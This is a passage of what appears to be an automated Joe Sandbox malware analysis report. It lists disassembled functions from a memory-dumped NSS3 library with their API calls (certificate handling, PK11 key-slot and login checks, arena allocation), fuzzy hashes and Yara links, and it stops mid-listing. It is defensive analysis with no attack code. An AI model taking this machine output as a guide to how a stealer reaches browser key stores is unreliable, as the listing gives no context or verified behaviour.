PR_SetError.NSS3(FFFFE005,00000000,?,?,6C9A9F71,?,?,00000000), ref: 6C9CBF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C9CBFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9CC014

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 12edc9a4adf800651973133e54433e6c0d390ba6787c190fcac841ea20aea7d4
Instruction ID: d47e9cd36aa65e701b06b2e8edef456938f257eef46473ac8181e0db5d816d7b
Opcode Fuzzy Hash: 12edc9a4adf800651973133e54433e6c0d390ba6787c190fcac841ea20aea7d4
Instruction Fuzzy Hash: 0D410471B012059BEB00DE65C840BBB77B9AF54208F104128E919E7B41FB31E815CBE3

Function 6C9BC9E0 Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,00000000), ref: 6C9BCA21
EnterCriticalSection.KERNEL32(0000001C), ref: 6C9BCA35
PR_Unlock.NSS3(00000000), ref: 6C9BCA66
PR_SetError.NSS3(FFFFE041,00000000,00000000,?,?,00000000), ref: 6C9BCA77
PR_Unlock.NSS3(00000000), ref: 6C9BCAFC

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: 60e575f02589dcf102184f5b669e8f68101631e64aa6217966f835bb31b39b17
Instruction ID: e81d181d5241df858e0921e2851b86119dc5b054acf04284cebda5c42698e3cd
Opcode Fuzzy Hash: 60e575f02589dcf102184f5b669e8f68101631e64aa6217966f835bb31b39b17
Instruction Fuzzy Hash: C241D075E00206ABEB00EF64DD41AAB7BB8EF45398F154128ED18B7711EB30E915CBE1

Function 6C99EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C99EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C99EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C99EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C99EEEB
free.MOZGLUE(?), ref: 6C99EEF6

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 56491a90f200d911bd70136b2e9bab33eb0e35d7c5c091858493dee3dfb78002
Instruction ID: e7f701b0e01b7b50890fa1006c1e0f6dce26e6313c3dc5f18562dec20ff5e53c
Opcode Fuzzy Hash: 56491a90f200d911bd70136b2e9bab33eb0e35d7c5c091858493dee3dfb78002
Instruction Fuzzy Hash: 203104B1A003019BEB209F69DC44B667BF8FB46359F18052DE95A87B50EB31E854CBD2

Function 6C9B1F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9B1F1C

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CAC9EBC), ref: 6C9B1FB8
SEC_ASN1EncodeItem_Util.NSS3(6CAC9E9C,?,?,6CAC9E9C), ref: 6C9B200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C9B2020

Part of subcall function 6C9A6A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C9AAD50,?,?), ref: 6C9A6A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9B2030

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 996e6cb19433e86de8794bc6bbf630a99844e8b36468b2e0153be6fd48c70bd4
Instruction ID: 67887d6a5f3d6c6a482945190890817c072efd6b19604b2d25ca61be09d243b8
Opcode Fuzzy Hash: 996e6cb19433e86de8794bc6bbf630a99844e8b36468b2e0153be6fd48c70bd4
Instruction Fuzzy Hash: 3221E675A01A01BBE7014A55DD40FAB7B6CFF5631CF140215E828A6F80E731E578C7A2

Function 6C9E1EA0 Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6C9C6295,?,00000000,00000000,00000001,6C9E2653,?), ref: 6C9E1ECB

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

TlsGetValue.KERNEL32(?,00000001,?,?,6C9C6295,?,00000000,00000000,00000001,6C9E2653,?), ref: 6C9E1EF1
EnterCriticalSection.KERNEL32(?), ref: 6C9E1F01
PR_SetError.NSS3(00000000,00000000), ref: 6C9E1F39

Part of subcall function 6C9EFE20: TlsGetValue.KERNEL32(6C9C5ADC,?,00000000,00000001,?,?,00000000,?,6C9BBA55,?,?), ref: 6C9EFE4B
Part of subcall function 6C9EFE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9EFE5F

PR_Unlock.NSS3(?), ref: 6C9E1F67

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID:
API String ID: 704537481-0
Opcode ID: f12df78ff214e9dbc81ce13830ac9ba2127a9379ec11310fb5a7565d0a15dfb2
Instruction ID: ad2f4061ad441dc369042f35760946561b41c28203b10f3e706c34ae7f9dfe8e
Opcode Fuzzy Hash: f12df78ff214e9dbc81ce13830ac9ba2127a9379ec11310fb5a7565d0a15dfb2
Instruction Fuzzy Hash: D8213775A002049BEB01AF29EC44F9A376DEF6A36CF184924FD1887B12E730D964C7E1

Function 6C9A1DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C9A1E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C9A1E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9A1E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C9A1E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C9A1EAD

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: ac3372b35d235e2c6f63a2032720c4a720ea5b37ee3a7313521e50eac242cada
Instruction ID: bf400cc092510d8036c3b87c60774e1bbde524251c9eb13c23275f095a61e05d
Opcode Fuzzy Hash: ac3372b35d235e2c6f63a2032720c4a720ea5b37ee3a7313521e50eac242cada
Instruction Fuzzy Hash: A2212572E04310E7D7009EA8DC40B9BB3989B9676CF258638ED6D57780E731D94E87D2

Function 6C9AB910 Relevance: 7.6, APIs: 5, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9AB91B

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C9AB92C

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9AB95D
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9AB96B
PORT_ArenaAlloc_Util.NSS3(00000000,?), ref: 6C9AB98B

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ArenaUtil$Alloc_Arena_Value$AllocateCriticalEnterErrorFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 1641347807-0
Opcode ID: 6ff2e4f40456b15c9134e83d7021a209453ee22bbd266954b38ed58e488140ed
Instruction ID: 136a98b3db253a59d8dfcfb0c03c58193e7e18af9ee19694384f5d9e55925f5b
Opcode Fuzzy Hash: 6ff2e4f40456b15c9134e83d7021a209453ee22bbd266954b38ed58e488140ed
Instruction Fuzzy Hash: CE21E231A006099EE3208F65D940B63B3F8EF8679CF10C529D859C7A41E731E487C6A5

Function 6C9C1850 Relevance: 7.6, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?,?,6C9C002B,?), ref: 6C9C1875

Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690AB
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690C9
Part of subcall function 6CA69090: EnterCriticalSection.KERNEL32 ref: 6CA690E5
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA69116
Part of subcall function 6CA69090: LeaveCriticalSection.KERNEL32 ref: 6CA6913F

TlsGetValue.KERNEL32(?,?,6C9C002B,?), ref: 6C9C188E
EnterCriticalSection.KERNEL32(?,?,?,6C9C002B,?), ref: 6C9C18A7
PR_ExitMonitor.NSS3(?,?,?,?,6C9C002B,?), ref: 6C9C1905
PR_Unlock.NSS3(?,?,?,?,6C9C002B,?), ref: 6C9C1912

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 1b2200e8e5cbabcdd1693c1a20e91576609dbba15c264d8e45ee0c29585516c8
Instruction ID: 40df90416a08cb1db9eb67aed9219f1cab5157f0a9138ead33a77456ee6e56cf
Opcode Fuzzy Hash: 1b2200e8e5cbabcdd1693c1a20e91576609dbba15c264d8e45ee0c29585516c8
Instruction Fuzzy Hash: 44217C74A086069BDB00AF79D0C4699B7B4FB06318F118A69D89487B00E730E895CBD7

Function 6CAB1E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CAB1E5C

Part of subcall function 6CA69BF0: TlsGetValue.KERNEL32(?,?,?,6CAB0A75), ref: 6CA69C07

PR_Lock.NSS3(00000000), ref: 6CAB1E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CAB1EAB
PR_GetCurrentThread.NSS3 ref: 6CAB1ED0
PR_Unlock.NSS3(?), ref: 6CAB1EE8

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 8ccfa05e3ed07891664f9c89fa67b9bf1fef0203b3ff51357c54743e9f5d8cef
Instruction ID: 4c064008774ab43b77ede2cb6e7b925e1f829d68213f71114381704c46f796a7
Opcode Fuzzy Hash: 8ccfa05e3ed07891664f9c89fa67b9bf1fef0203b3ff51357c54743e9f5d8cef
Instruction Fuzzy Hash: 7021CF75B14512AFD700CF29D980A76B7B8FF44718B298229EA19ABF40D331F894CBD1

Function 6C9FBE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C9AE708,00000000,00000000,00000004,00000000), ref: 6C9FBE6A

Part of subcall function 6CA00840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA008B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C9B04DC,?), ref: 6C9FBE7E

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C9FBEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C9B04DC,?,?), ref: 6C9FBED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C9FBEEB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: ea2cc9a434b95295972eb077d0c15c3f29531290fd76ad70151f69a113d8652a
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: BA115366A0420667F700AD65AC80F2B73BDEB9079CF044021FE2883B52E731D82A87E1

Function 6C9AAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C9A3FFF,00000000,?,?,?,?,?,6C9A1A1C,00000000,00000000), ref: 6C9AADA7

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C9A3FFF,00000000,?,?,?,?,?,6C9A1A1C,00000000,00000000), ref: 6C9AADB4

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C9A3FFF,?,?,?,?,6C9A3FFF,00000000,?,?,?,?,?,6C9A1A1C,00000000), ref: 6C9AADD5

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CAC94B0,?,?,?,?,?,?,?,?,6C9A3FFF,00000000,?), ref: 6C9AADEC

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A3FFF), ref: 6C9AAE3C

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 5b33370e79897cd6ea02a090ddf67c1e9fb2e981e32b8250e6caabffe31d34bb
Instruction ID: 43a3ea9e5b607f53d1145e8c006910fb2f541afc505ce67dc3bad7e209dda3b5
Opcode Fuzzy Hash: 5b33370e79897cd6ea02a090ddf67c1e9fb2e981e32b8250e6caabffe31d34bb
Instruction Fuzzy Hash: 05112971E002055BE7109BA5AC40BBF73ACDF6114DF044228FC5996B41FB60E59E86A2

Function 6C9C8E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C9E2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C9B4F1C), ref: 6C9C8EA2

Part of subcall function 6C9EF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C9EF854
Part of subcall function 6C9EF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C9EF868
Part of subcall function 6C9EF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C9EF882
Part of subcall function 6C9EF820: free.MOZGLUE(04C483FF,?,?), ref: 6C9EF889
Part of subcall function 6C9EF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C9EF8A4
Part of subcall function 6C9EF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C9EF8AB
Part of subcall function 6C9EF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C9EF8C9
Part of subcall function 6C9EF820: free.MOZGLUE(280F10EC,?,?), ref: 6C9EF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C9E2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C9B4F1C), ref: 6C9C8EC3
TlsGetValue.KERNEL32(?,?,?,6C9E2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C9B4F1C), ref: 6C9C8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C9E2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C9C8EF1
PR_Unlock.NSS3 ref: 6C9C8F20

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: b7508cbc6146ea9e2346ddefb01b3594e30a10b32e08fe94a17d5c366b1dad2c
Instruction ID: 54caf270fc73a3ca2cf391de7e3dfe6b229cd0b8257c3319a78557d70ec85fdf
Opcode Fuzzy Hash: b7508cbc6146ea9e2346ddefb01b3594e30a10b32e08fe94a17d5c366b1dad2c
Instruction Fuzzy Hash: A4217C70A097059FD704AF29D4841A9BBF8FF58318F05856EE8989BB41D730E854CBD7

Function 6C9F8800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8821
TlsGetValue.KERNEL32(?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F883D
